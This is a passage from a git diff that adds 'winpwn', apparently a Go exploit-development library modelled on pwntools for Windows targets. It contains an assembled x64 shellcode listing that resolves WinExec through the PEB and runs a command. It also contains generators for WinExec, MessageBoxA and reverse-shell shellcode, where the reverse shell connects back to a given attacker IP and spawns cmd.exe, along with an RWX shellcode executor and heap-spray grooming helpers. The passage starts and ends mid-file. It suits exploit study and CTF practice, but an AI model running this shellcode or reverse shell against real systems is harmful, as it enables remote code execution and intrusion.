(no leak/hardcoded address needed), find WinExec by + 3 ; name, and run a command. Returns normally (ret) so the host thread keeps + 4 ; running afterward. + 5 ; + 6 ; cmd_buf is a 260-byte placeholder at the very end of the assembled blob; + 7 ; winpwn patches it at runtime with the actual NUL-terminated command + 8 ; (see shellcraft.go). + 9 BITS 64 + 10 default rel + 11 + 12 start: + 13 ; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64 + 14 ; ABI) and stash the post-push rsp in rbp so we can force 16-byte + 15 ; alignment below and still land exactly back on the real return + 16 ; address afterward. A bare `and rsp, ~0xF` with no matching restore + 17 ; before `ret` pops whatever garbage is sitting at the shifted address + 18 ; instead of the caller's actual return address — that's the bug this + 19 ; replaced (verified by crash: rip ended up pointing into the Go + 20 ; runtime's heap, i.e. exactly the kind of stale stack value this leaves + 21 ; behind). + 22 00000000 55 push rbp + 23 00000001 4154 push r12 + 24 00000003 4889E5 mov rbp, rsp + 25 00000006 4883E4F0 and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state + 26 + 27 0000000A E82F000000 call get_kernel32_base + 28 0000000F 4989C4 mov r12, rax ; r12 = kernel32 base + 29 + 30 00000012 4C89E1 mov rcx, r12 + 31 00000015 488D15C7000000 lea rdx, [rel name_winexec] + 32 0000001C E839000000 call find_export + 33 ; rax = WinExec address + 34 + 35 00000021 488D0DC8000000 lea rcx, [rel cmd_buf] + 36 00000028 BA05000000 mov edx, 5 ; SW_SHOW + 37 0000002D 4883EC20 sub rsp, 0x20 ; shadow space required before any WinAPI call + 38 00000031 FFD0 call rax + 39 00000033 4883C420 add rsp, 0x20 + 40 + 41 00000037 4889EC mov rsp, rbp + 42 0000003A 415C pop r12 + 43 0000003C 5D pop rbp + 44 0000003D C3 ret + 45 + 46 %include "resolver.inc" + 1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn + 2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded + 3 <1> ; addresses) and resolve any export by name (no hashing, just a linear + 4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of + 5 <1> ; one-shot resolutions). + 6 <1> ; + 7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish, + 8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every + 9 <1> ; non-volatile register they touch, so callers can keep values live in + 10 <1> ; r12-r15 across calls to either of these. + 11 <1> + 12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address + 13 <1> ; + 14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running + 15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this + 16 <1> ; fixed load order is the same trick essentially every public Windows x64 + 17 <1> ; shellcode relies on. + 18 <1> get_kernel32_base: + 19 0000003E 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64) + 20 00000047 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr + 21 0000004B 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks + 22 0000004F 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll) + 23 00000052 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll) + 24 00000055 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks) + 25 00000059 C3 <1> ret + 26 <1> + 27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name) + 28 <1> ; -> RAX = absolute address of the export, or 0 if not found. + 29 <1> ; + 30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each + 31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and + 32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical + 33 <1> ; DataDirectory[0] (export table) offset for PE32+. + 34 <1> find_export: + 35 0000005A 4154 <1> push r12 + 36 0000005C 4155 <1> push r13 + 37 0000005E 4156 <1> push r14 + 38 00000060 4157 <1> push r15 + 39 00000062 56 <1> push rsi + 40 00000063 57 <1> push rdi + 41 00000064 53 <1> push rbx + 42 <1> + 43 00000065 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine) + 44 00000068 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved) + 45 <1> + 46 0000006B 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew + 47 00000070 4C01E0 <1> add rax, r12 ; rax = NT header VA + 48 00000073 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress) + 49 00000079 4C01E0 <1> add rax, r12 + 50 0000007C 4989C6 <1> mov r14, rax ; r14 = export directory VA + 51 <1> + 52 0000007F 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames + 53 00000083 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA + 54 00000087 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings) + 55 0000008A 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA + 56 0000008E 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals) + 57 00000091 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA + 58 00000095 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code) + 59 <1> + 60 00000098 4D31FF <1> xor r15, r15 ; r15 = loop index i + 61 <1> + 62 <1> .loop: + 63 0000009B 4939DF <1> cmp r15, rbx + 64 0000009E 7D34 <1> jge .notfound + 65 <1> + 66 000000A0 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i + 67 000000A4 4C01E0 <1> add rax, r12 + 68 000000A7 4889C6 <1> mov rsi, rax ; rsi = candidate name VA + 69 000000AA 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt) + 70 <1> + 71 <1> .cmp_loop: + 72 000000AD 8A06 <1> mov al, [rsi] + 73 000000AF 8A0F <1> mov cl, [rdi] + 74 000000B1 38C8 <1> cmp al, cl + 75 000000B3 750C <1> jne .next + 76 000000B5 84C0 <1> test al, al + 77 000000B7 740D <1> je .found ; both hit NUL with every byte equal -> match + 78 000000B9 48FFC6 <1> inc rsi + 79 000000BC 48FFC7 <1> inc rdi + 80 000000BF EBEC <1> jmp .cmp_loop + 81 <1> + 82 <1> .next: + 83 000000C1 49FFC7 <1> inc r15 + 84 000000C4 EBD5 <1> jmp .loop + 85 <1> + 86 <1> .found: + 87 000000C6 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i + 88 000000CB 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA + 89 000000CF 4C01E0 <1> add rax, r12 ; absolute address + 90 000000D2 EB03 <1> jmp .done + 91 <1> + 92 <1> .notfound: + 93 000000D4 4831C0 <1> xor rax, rax + 94 <1> + 95 <1> .done: + 96 000000D7 5B <1> pop rbx + 97 000000D8 5F <1> pop rdi + 98 000000D9 5E <1> pop rsi + 99 000000DA 415F <1> pop r15 + 100 000000DC 415E <1> pop r14 + 101 000000DE 415D <1> pop r13 + 102 000000E0 415C <1> pop r12 + 103 000000E2 C3 <1> ret + 47 + 48 000000E3 57696E4578656300 name_winexec: db "WinExec", 0 + 49 + 50 000000EB 90 align 8 + 51 cmd_buf: + 52 000000F0 00 times 260 db 0 diff --git a/shellcode/bin/messagebox_x64.bin b/shellcode/bin/messagebox_x64.bin new file mode 100644 index 0000000..205c2da Binary files /dev/null and b/shellcode/bin/messagebox_x64.bin differ diff --git a/shellcode/bin/reverse_shell_x64.bin b/shellcode/bin/reverse_shell_x64.bin new file mode 100644 index 0000000..8a54c05 Binary files /dev/null and b/shellcode/bin/reverse_shell_x64.bin differ diff --git a/shellcode/bin/winexec_x64.bin b/shellcode/bin/winexec_x64.bin new file mode 100644 index 0000000..69291d2 Binary files /dev/null and b/shellcode/bin/winexec_x64.bin differ diff --git a/shellcode_exec_other.go b/shellcode_exec_other.go new file mode 100644 index 0000000..0a02057 --- /dev/null +++ b/shellcode_exec_other.go @@ -0,0 +1,10 @@ +//go:build !windows + +package winpwn + +import "errors" + +// ExecuteShellcode is only available when winpwn is built for Windows. +func ExecuteShellcode(code []byte) error { + return errors.New("ExecuteShellcode requires GOOS=windows") +} diff --git a/shellcode_exec_windows.go b/shellcode_exec_windows.go new file mode 100644 index 0000000..b479ac7 --- /dev/null +++ b/shellcode_exec_windows.go @@ -0,0 +1,50 @@ +//go:build windows + +package winpwn + +import ( + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +const ( + memCommit = 0x1000 + memReserve = 0x2000 + pageExecuteReadwrite = 0x40 +) + +var ( + modNtdll = windows.NewLazySystemDLL("ntdll.dll") + procMoveMemory = modNtdll.NewProc("RtlMoveMemory") +) + +// ExecuteShellcode VirtualAlloc's an RWX page, copies code into it, and +// calls into it directly on the current thread — for locally validating a +// shellcode template actually does what it claims before landing it via a +// real exploit primitive (ROP chain, overwritten function pointer, ...). +// Not something pwntools has a direct analogue for: Python can't call +// raw machine code in-process, it always shells out to a target. +func ExecuteShellcode(code []byte) error { + addr, err := windows.VirtualAlloc(0, uintptr(len(code)), memCommit|memReserve, pageExecuteReadwrite) + if err != nil { + return err + } + + // Copy via RtlMoveMemory instead of building a Go slice over the raw + // VirtualAlloc address: converting a bare uintptr (not derived from an + // existing Pointer) into unsafe.Pointer is exactly what `go vet`'s + // unsafeptr check exists to catch, even though it's safe here (the page + // is OS-owned, not GC-tracked). Passing addr straight through as a + // syscall argument sidesteps that conversion entirely. + procMoveMemory.Call(addr, uintptr(unsafe.Pointer(&code[0])), uintptr(len(code))) + + // syscall.Syscall's first argument is the address to call directly on + // Windows (there's no syscall-number indirection here, unlike Unix). + _, _, errno := syscall.Syscall(addr, 0, 0, 0, 0) + if errno != 0 { + return errno + } + return nil +} diff --git a/shellcraft.go b/shellcraft.go new file mode 100644 index 0000000..408c450 --- /dev/null +++ b/shellcraft.go @@ -0,0 +1,119 @@ +package winpwn + +import ( + _ "embed" + "fmt" + "net" +) + +// winexecX64Template is a prebuilt position-independent x64 shellcode blob +// (see shellcode/asm/winexec_x64.asm — kept as auditable NASM source +// alongside the compiled bytes, the same spirit as pwntools shipping +// shellcraft templates, just compiled ahead-of-time with NASM instead of +// assembled on demand with Keystone). It resolves kernel32's base via the +// PEB and calls WinExec by name, so it needs no leaked address and no +// hardcoded kernel32 base — just landing IP control (a ROP chain, an +// overwritten function pointer, a vtable hijack, ...). +// +//go:embed shellcode/bin/winexec_x64.bin +var winexecX64Template []byte + +const winexecCmdBufSize = 260 + +// ShellcodeWinExec returns x64 shellcode equivalent to WinExec(command, +// SW_SHOW): no hardcoded addresses, resolves kernel32 itself, returns +// normally afterward so the host thread (and process) keeps running. The +// winpwn analogue of pwntools' shellcraft.sh()/asm(shellcraft.execve(...)). +func ShellcodeWinExec(command string) ([]byte, error) { + cmd := append([]byte(command), 0) + if len(cmd) > winexecCmdBufSize { + return nil, fmt.Errorf("command too long: %d bytes (max %d including the NUL terminator)", len(cmd), winexecCmdBufSize) + } + + code := make([]byte, len(winexecX64Template)) + copy(code, winexecX64Template) + off := len(code) - winexecCmdBufSize + copy(code[off:], cmd) + return code, nil +} + +// messageboxX64Template ([shellcode/asm/messagebox_x64.asm]) resolves +// kernel32 via the PEB, then LoadLibraryA's user32.dll through +// resolve_export (not guaranteed loaded in a plain console process, unlike +// kernel32) to find MessageBoxA — same "no leaked address, no hardcoded +// base" property as ShellcodeWinExec, just for a GUI primitive instead of +// a process-launch one. +// +//go:embed shellcode/bin/messagebox_x64.bin +var messageboxX64Template []byte + +const ( + messageboxTextBufSize = 256 + messageboxCaptionBufSize = 64 +) + +// ShellcodeMessageBoxA returns x64 shellcode equivalent to +// MessageBoxA(NULL, text, caption, MB_OK). Returns normally once the user +// (or whoever/whatever sends it a WM_CLOSE) dismisses the box, so the host +// thread keeps running afterward — useful both as a real GUI-process +// landing primitive and as a simple, visually-obvious "did my exploit +// actually land IP control" proof. +func ShellcodeMessageBoxA(text, caption string) ([]byte, error) { + textBytes := append([]byte(text), 0) + captionBytes := append([]byte(caption), 0) + if len(textBytes) > messageboxTextBufSize { + return nil, fmt.Errorf("text too long: %d bytes (max %d including the NUL terminator)", len(textBytes), messageboxTextBufSize) + } + if len(captionBytes) > messageboxCaptionBufSize { + return nil, fmt.Errorf("caption too long: %d bytes (max %d including the NUL terminator)", len(captionBytes), messageboxCaptionBufSize) + } + + code := make([]byte, len(messageboxX64Template)) + copy(code, messageboxX64Template) + + // caption_buf is the very last thing in the assembled blob, text_buf + // right before it -- mirrors shellcode/asm/messagebox_x64.asm's layout. + captionOff := len(code) - messageboxCaptionBufSize + textOff := captionOff - messageboxTextBufSize + copy(code[textOff:], textBytes) + copy(code[captionOff:], captionBytes) + return code, nil +} + +// reverseShellX64Template ([shellcode/asm/reverse_shell_x64.asm]) connects +// back to a fixed host:port over ws2_32 and spawns cmd.exe with its stdio +// redirected to the socket — the classic Windows reverse shell. Built on +// the same resolve_export primitive as ShellcodeMessageBoxA (ws2_32.dll +// isn't guaranteed loaded any more than user32.dll is). +// +//go:embed shellcode/bin/reverse_shell_x64.bin +var reverseShellX64Template []byte + +const sockaddrBufSize = 16 + +// ShellcodeReverseShell returns x64 shellcode that connects to host:port +// and execs cmd.exe with its stdin/stdout/stderr redirected to that +// connection. host must be a literal IPv4 address (this is raw shellcode, +// it can't do DNS resolution) — pass the attacker box's IP, not a hostname. +func ShellcodeReverseShell(host string, port uint16) ([]byte, error) { + ip := net.ParseIP(host) + if ip == nil { + return nil, fmt.Errorf("invalid host %q: not an IP literal (shellcode can't resolve DNS)", host) + } + ip4 := ip.To4() + if ip4 == nil { + return nil, fmt.Errorf("host %q is not an IPv4 address", host) + } + + code := make([]byte, len(reverseShellX64Template)) + copy(code, reverseShellX64Template) + + // sockaddr_buf is the last thing in the assembled blob: sin_family(2) + // sin_port(2) sin_addr(4) sin_zero(8) = 16 bytes total. + sockaddrOff := len(code) - sockaddrBufSize + code[sockaddrOff+2] = byte(port >> 8) // sin_port, network byte order + code[sockaddrOff+3] = byte(port) + copy(code[sockaddrOff+4:sockaddrOff+8], ip4) // sin_addr, already network-order bytes + + return code, nil +} diff --git a/shellcraft_windows_test.go b/shellcraft_windows_test.go new file mode 100644 index 0000000..35a1e2d --- /dev/null +++ b/shellcraft_windows_test.go @@ -0,0 +1,80 @@ +//go:build windows + +package winpwn + +import ( + "syscall" + "testing" + "time" + "unsafe" + + "golang.org/x/sys/windows" +) + +var ( + user32ForTest = windows.NewLazySystemDLL("user32.dll") + procEnumWindows = user32ForTest.NewProc("EnumWindows") + procGetWindowTextW = user32ForTest.NewProc("GetWindowTextW") + procPostMessageW = user32ForTest.NewProc("PostMessageW") +) + +const wmClose = 0x0010 + +// TestShellcodeMessageBoxA runs the real shellcode (via ExecuteShellcode) +// and checks for a real window with the expected title -- not just "didn't +// crash". This proves resolve_export actually found LoadLibraryA in +// kernel32, loaded user32.dll (not guaranteed loaded in a test binary), +// resolved MessageBoxA inside it, and called it with the right calling +// convention. The window is dismissed programmatically (WM_CLOSE) so the +// test doesn't hang waiting for a human. +func TestShellcodeMessageBoxA(t *testing.T) { + const wantTitle = "winpwn test" + code, err := ShellcodeMessageBoxA("hello from winpwn", wantTitle) + if err != nil { + t.Fatal(err) + } + + myPID := windows.GetCurrentProcessId() + done := make(chan error, 1) + go func() { + done <- ExecuteShellcode(code) + }() + + var found windows.HWND + deadline := time.Now().Add(10 * time.Second) + for time.Now().Before(deadline) && found == 0 { + cb := syscall.NewCallback(func(hwnd windows.HWND, _ uintptr) uintptr { + var pid uint32 + windows.GetWindowThreadProcessId(hwnd, &pid) + if pid != myPID { + return 1 // continue enumeration + } + buf := make([]uint16, 256) + procGetWindowTextW.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) + if windows.UTF16ToString(buf) == wantTitle { + found = hwnd + return 0 // stop enumeration + } + return 1 + }) + procEnumWindows.Call(cb, 0) + if found == 0 { + time.Sleep(100 * time.Millisecond) + } + } + + if found == 0 { + t.Fatalf("never saw a real window titled %q -- MessageBoxA shellcode did not pop a window", wantTitle) + } + + procPostMessageW.Call(uintptr(found), wmClose, 0, 0) + + select { + case err := <-done: + if err != nil { + t.Errorf("ExecuteShellcode returned an error after dismissal: %v", err) + } + case <-time.After(5 * time.Second): + t.Fatal("shellcode goroutine never returned after WM_CLOSE") + } +} diff --git a/spray.go b/spray.go new file mode 100644 index 0000000..a67c23a --- /dev/null +++ b/spray.go @@ -0,0 +1,64 @@ +package winpwn + +// SprayResult is one labeled sample produced by a single spray attempt -- +// ID is caller-defined (a protocol id, an attempt index, whatever the +// target's own response associates with the sample) and Key is whatever +// comparable, measurable value the attempt produced, almost always a +// leaked heap/pointer address. +type SprayResult[K any] struct { + ID int + Key K +} + +// SprayAndFind is the one grooming-loop shape behind both +// examples/heap_lfh and examples/heap_segment, pulled out into the library +// after writing near-identical versions of it twice by hand for those two +// tasks -- exactly the kind of repeated pattern worth a real primitive +// instead of a third copy-paste for the next heap task. +// +// It repeats spray up to maxAttempts times. After each new sample, it +// checks that sample against every sample collected so far (seed, plus +// every prior spray result) via match(older, newer); the first pair match +// reports true for is returned immediately, without spending the remaining +// attempts. Two distinct grooming shapes fall out of how seed/match are +// used: +// +// - "Does a spray ever land on this one known target?" (examples/heap_lfh's +// UAF: spray same-size replacements until one reuses the freed victim's +// slot) -- pass seed as the single already-known sample (e.g. the freed +// victim's leaked address) and match as plain equality. Every spray +// attempt is then checked against that one fixed target. +// - "Do any two sprayed samples satisfy a relation to each other?" +// (examples/heap_segment's adjacent-chunk overflow: find two allocations +// exactly sizeof(struct) apart) -- pass seed as nil/empty and match as +// the relation itself (e.g. "exactly N bytes apart"). Every new sample +// is checked against everything sprayed before it. +// +// Returns the matching (older, newer) pair, the attempt count spray reached +// before finding it, and ok=false if maxAttempts was exhausted with no +// match -- the caller decides whether that's worth retrying with a bigger +// spray (both example solve scripts just log.Fatal on it, since their +// USAGE.md walkthroughs already establish what spray size is reliable on a +// given machine/OS build; that reliability number is empirical, not a +// constant this function can know). +func SprayAndFind[K any](seed []SprayResult[K], maxAttempts int, spray func(attempt int) (SprayResult[K], error), match func(older, newer K) bool) (older, newer SprayResult[K], attempts int, ok bool, err error) { + samples := make([]SprayResult[K], len(seed)) + copy(samples, seed) + + for attempt := 1; attempt <= maxAttempts; attempt++ { + s, serr := spray(attempt) + if serr != nil { + return SprayResult[K]{}, SprayResult[K]{}, attempt, false, serr + } + + for _, prev := range samples { + if match(prev.Key, s.Key) { + return prev, s, attempt, true, nil + } + } + + samples = append(samples, s) + } + + return SprayResult[K]{}, SprayResult[K]{}, maxAttempts, false, nil +} diff --git a/spray_test.go b/spray_test.go new file mode 100644 index 0000000..b836c3d --- /dev/null +++ b/spray_test.go @@ -0,0 +1,114 @@ +package winpwn + +import "testing" + +// TestSprayAndFindSeededTarget exercises the examples/heap_lfh shape: a +// single pre-seeded target (the freed victim's leaked address), spraying +// replacements until one happens to equal it. +func TestSprayAndFindSeededTarget(t *testing.T) { + const victimAddr = uint64(0xdead0000) + replacements := []uint64{0x1111, 0x2222, victimAddr, 0x3333} + + older, newer, attempts, ok, err := SprayAndFind( + []SprayResult[uint64]{{ID: -1, Key: victimAddr}}, + len(replacements), + func(attempt int) (SprayResult[uint64], error) { + return SprayResult[uint64]{ID: attempt, Key: replacements[attempt-1]}, nil + }, + func(a, b uint64) bool { return a == b }, + ) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if !ok { + t.Fatal("expected a match") + } + if attempts != 3 { + t.Errorf("attempts = %d, want 3 (the index where victimAddr reappears)", attempts) + } + if older.ID != -1 || older.Key != victimAddr { + t.Errorf("older = %+v, want the seeded victim", older) + } + if newer.Key != victimAddr { + t.Errorf("newer.Key = 0x%x, want 0x%x", newer.Key, victimAddr) + } +} + +// TestSprayAndFindAdjacentPair exercises the examples/heap_segment shape: no +// seed, searching every sprayed sample against every other for a relation +// (here, "exactly 32 apart"). +func TestSprayAndFindAdjacentPair(t *testing.T) { + const profileSize = 32 + addrs := []uint64{0x1000, 0x1080, 0x1300, 0x1300 + profileSize} // last two are 32 apart + + older, newer, _, ok, err := SprayAndFind( + nil, + len(addrs), + func(attempt int) (SprayResult[uint64], error) { + return SprayResult[uint64]{ID: attempt, Key: addrs[attempt-1]}, nil + }, + func(a, b uint64) bool { + d := int64(b) - int64(a) + return d == profileSize || d == -profileSize + }, + ) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if !ok { + t.Fatal("expected an adjacent pair to be found") + } + if older.ID != 3 || newer.ID != 4 { + t.Errorf("got pair ids (%d, %d), want (3, 4)", older.ID, newer.ID) + } +} + +func TestSprayAndFindExhaustsAttempts(t *testing.T) { + _, _, attempts, ok, err := SprayAndFind( + nil, + 5, + func(attempt int) (SprayResult[uint64], error) { + return SprayResult[uint64]{ID: attempt, Key: uint64(attempt)}, nil + }, + func(a, b uint64) bool { return false }, // never matches + ) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if ok { + t.Fatal("expected no match") + } + if attempts != 5 { + t.Errorf("attempts = %d, want 5 (maxAttempts exhausted)", attempts) + } +} + +func TestSprayAndFindPropagatesSprayError(t *testing.T) { + wantErr := errSprayTest + _, _, attempts, ok, err := SprayAndFind( + nil, + 5, + func(attempt int) (SprayResult[uint64], error) { + if attempt == 2 { + return SprayResult[uint64]{}, wantErr + } + return SprayResult[uint64]{ID: attempt, Key: uint64(attempt)}, nil + }, + func(a, b uint64) bool { return false }, + ) + if err != wantErr { + t.Fatalf("err = %v, want %v", err, wantErr) + } + if ok { + t.Fatal("ok should be false on a spray error") + } + if attempts != 2 { + t.Errorf("attempts = %d, want 2 (the attempt that errored)", attempts) + } +} + +var errSprayTest = errSprayTestSentinel{} + +type errSprayTestSentinel struct{} + +func (errSprayTestSentinel) Error() string { return "spray error" } diff --git a/symbols_other.go b/symbols_other.go new file mode 100644 index 0000000..1631165 --- /dev/null +++ b/symbols_other.go @@ -0,0 +1,11 @@ +//go:build !windows + +package winpwn + +func ListLoadedModules(pid uint32) (map[string]uintptr, error) { + return nil, errWindowsOnly +} + +func SymbolVA(pid uint32, dll, name string) (uintptr, error) { + return 0, errWindowsOnly +} diff --git a/symbols_windows.go b/symbols_windows.go new file mode 100644 index 0000000..cd5aaef --- /dev/null +++ b/symbols_windows.go @@ -0,0 +1,226 @@ +//go:build windows + +package winpwn + +import ( + "fmt" + "strings" + "sync" + "unsafe" + + "golang.org/x/sys/windows" +) + +// ListLoadedModules walks pid's PEB → Ldr → InMemoryOrderModuleList and +// returns the load address of every currently-loaded module, keyed by +// lower-cased base name ("kernel32.dll", "ntdll.dll", etc.). +// +// This is the single-call equivalent of calling ResolveModuleBase for every +// DLL in the process — use it when you need more than one or two bases, or +// when you want to enumerate what's loaded without knowing names in advance. +func ListLoadedModules(pid uint32) (map[string]uintptr, error) { + h, err := windows.OpenProcess( + windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ, false, pid) + if err != nil { + return nil, err + } + defer windows.CloseHandle(h) + return ldrWalkAll(h, pid) +} + +// ldrWalkAll performs the PEB→Ldr→InMemoryOrderModuleList walk and collects +// every entry, keyed by lower-cased base name. Shared by ListLoadedModules +// and ProcessSymbols.loadAll. +func ldrWalkAll(h windows.Handle, pid uint32) (map[string]uintptr, error) { + var pbi windows.PROCESS_BASIC_INFORMATION + var retLen uint32 + if err := windows.NtQueryInformationProcess(h, windows.ProcessBasicInformation, + unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), &retLen); err != nil { + return nil, fmt.Errorf("NtQueryInformationProcess: %w", err) + } + pebAddr := uintptr(unsafe.Pointer(pbi.PebBaseAddress)) + if pebAddr == 0 { + return nil, fmt.Errorf("PEB is null for pid %d (not yet initialized?)", pid) + } + + peb, err := readRemoteStruct[windows.PEB](h, pebAddr) + if err != nil { + return nil, fmt.Errorf("read PEB: %w", err) + } + ldrAddr := uintptr(unsafe.Pointer(peb.Ldr)) + if ldrAddr == 0 { + return nil, fmt.Errorf("PEB.Ldr is null (loader not yet run in pid %d)", pid) + } + + ldr, err := readRemoteStruct[windows.PEB_LDR_DATA](h, ldrAddr) + if err != nil { + return nil, fmt.Errorf("read PEB_LDR_DATA: %w", err) + } + + entryLinksOffset := unsafe.Offsetof(windows.LDR_DATA_TABLE_ENTRY{}.InMemoryOrderLinks) + headAddr := ldrAddr + unsafe.Offsetof(windows.PEB_LDR_DATA{}.InMemoryOrderModuleList) + + out := make(map[string]uintptr) + cur := uintptr(unsafe.Pointer(ldr.InMemoryOrderModuleList.Flink)) + for cur != 0 && cur != headAddr { + entryAddr := cur - entryLinksOffset + entry, err := readRemoteStruct[windows.LDR_DATA_TABLE_ENTRY](h, entryAddr) + if err != nil { + return nil, fmt.Errorf("read LDR_DATA_TABLE_ENTRY: %w", err) + } + if name, err := readRemoteUTF16(h, entry.FullDllName); err == nil { + key := strings.ToLower(moduleBaseName(name)) + if key != "" { + out[key] = entry.DllBase + } + } + cur = uintptr(unsafe.Pointer(entry.InMemoryOrderLinks.Flink)) + } + return out, nil +} + +// SymbolVA resolves the virtual address of a named export from a module +// currently loaded in pid. It combines ResolveModuleBase + OpenPEFromProcess +// + GetProcAddress into a single call — the Go equivalent of pwintools' +// p.symbols["kernel32.dll"]["WinExec"]. +func SymbolVA(pid uint32, dll, name string) (uintptr, error) { + base, err := ResolveModuleBase(pid, dll) + if err != nil { + return 0, err + } + pf, err := OpenPEFromProcess(pid, base) + if err != nil { + return 0, fmt.Errorf("open %s in pid %d: %w", dll, pid, err) + } + defer pf.Close() + rva, err := pf.GetProcAddress(name) + if err != nil { + return 0, fmt.Errorf("%s!%s: %w", dll, name, err) + } + return base + uintptr(rva), nil +} + +// ProcessSymbols resolves and caches loaded-module bases and exported symbol +// VAs for a running process — the Go equivalent of pwintools' p.libs / +// p.symbols. Caches one PEFile per DLL so repeated symbol lookups in the +// same module are cheap. +// +// Usage: +// +// tube, _ := winpwn.Spawn("chal.exe") +// sym := winpwn.NewProcessSymbols(tube.PID()) +// defer sym.Close() +// +// k32, _ := sym.Base("kernel32.dll") +// winexec, _ := sym.Symbol("kernel32.dll", "WinExec") +// mods, _ := sym.Modules() // all loaded DLLs +type ProcessSymbols struct { + pid uint32 + mu sync.Mutex + cache map[string]*symModule // keyed by lower-cased base name +} + +type symModule struct { + base uintptr + pf *PEFile +} + +// NewProcessSymbols creates a ProcessSymbols for the given PID. No I/O +// happens until the first Base/Symbol call. +func NewProcessSymbols(pid uint32) *ProcessSymbols { + return &ProcessSymbols{pid: pid, cache: make(map[string]*symModule)} +} + +// Base returns the load address of the named module (e.g. "kernel32.dll"), +// the Go equivalent of pwintools' p.libs["kernel32.dll"]. +func (ps *ProcessSymbols) Base(dll string) (uint64, error) { + m, err := ps.loadModule(dll) + if err != nil { + return 0, err + } + return uint64(m.base), nil +} + +// Symbol returns the virtual address of name exported from dll +// (e.g. "kernel32.dll", "WinExec"), the equivalent of pwintools' +// p.symbols["kernel32.dll"]["WinExec"]. +func (ps *ProcessSymbols) Symbol(dll, name string) (uint64, error) { + m, err := ps.loadModule(dll) + if err != nil { + return 0, err + } + rva, err := m.pf.GetProcAddress(name) + if err != nil { + return 0, fmt.Errorf("%s!%s: %w", dll, name, err) + } + return uint64(m.base) + uint64(rva), nil +} + +// Modules returns a snapshot of every module currently loaded in the process, +// keyed by lower-cased base name — the equivalent of pwintools' p.libs dict. +func (ps *ProcessSymbols) Modules() (map[string]uint64, error) { + raw, err := ListLoadedModules(ps.pid) + if err != nil { + return nil, err + } + out := make(map[string]uint64, len(raw)) + for k, v := range raw { + out[k] = uint64(v) + } + return out, nil +} + +// AllSymbols returns every named export from dll as a map of name → VA. +// Useful for quick "what's available" exploration without knowing exact names. +func (ps *ProcessSymbols) AllSymbols(dll string) (map[string]uint64, error) { + m, err := ps.loadModule(dll) + if err != nil { + return nil, err + } + exports, err := m.pf.ListExports() + if err != nil { + return nil, err + } + out := make(map[string]uint64, len(exports)) + for _, e := range exports { + if e.Name != "" && e.RVA != 0 { + out[e.Name] = uint64(m.base) + uint64(e.RVA) + } + } + return out, nil +} + +// Close releases all cached PEFile handles. Safe to call more than once. +func (ps *ProcessSymbols) Close() { + ps.mu.Lock() + defer ps.mu.Unlock() + for _, m := range ps.cache { + if m.pf != nil { + m.pf.Close() + } + } + ps.cache = nil +} + +func (ps *ProcessSymbols) loadModule(dll string) (*symModule, error) { + key := strings.ToLower(moduleBaseName(dll)) + ps.mu.Lock() + defer ps.mu.Unlock() + if ps.cache == nil { + return nil, fmt.Errorf("ProcessSymbols already closed") + } + if m, ok := ps.cache[key]; ok { + return m, nil + } + base, err := ResolveModuleBase(ps.pid, dll) + if err != nil { + return nil, err + } + pf, err := OpenPEFromProcess(ps.pid, base) + if err != nil { + return nil, fmt.Errorf("open %s in pid %d: %w", dll, ps.pid, err) + } + m := &symModule{base: base, pf: pf} + ps.cache[key] = m + return m, nil +} diff --git a/tube.go b/tube.go new file mode 100644 index 0000000..7791875 --- /dev/null +++ b/tube.go @@ -0,0 +1,292 @@ +package winpwn + +import ( + "bufio" + "bytes" + "errors" + "fmt" + "io" + "net" + "os" + "os/exec" + "os/signal" + "regexp" + "sync" + "syscall" + "time" +) + +// Tube is the core abstraction for talking to a target: a spawned local +// process or a remote TCP connection. It mirrors pwntools' tube class and +// is the type every transport (Spawn, Remote, ...) returns. +// +// Every blocking call returns an error instead of killing the process -- 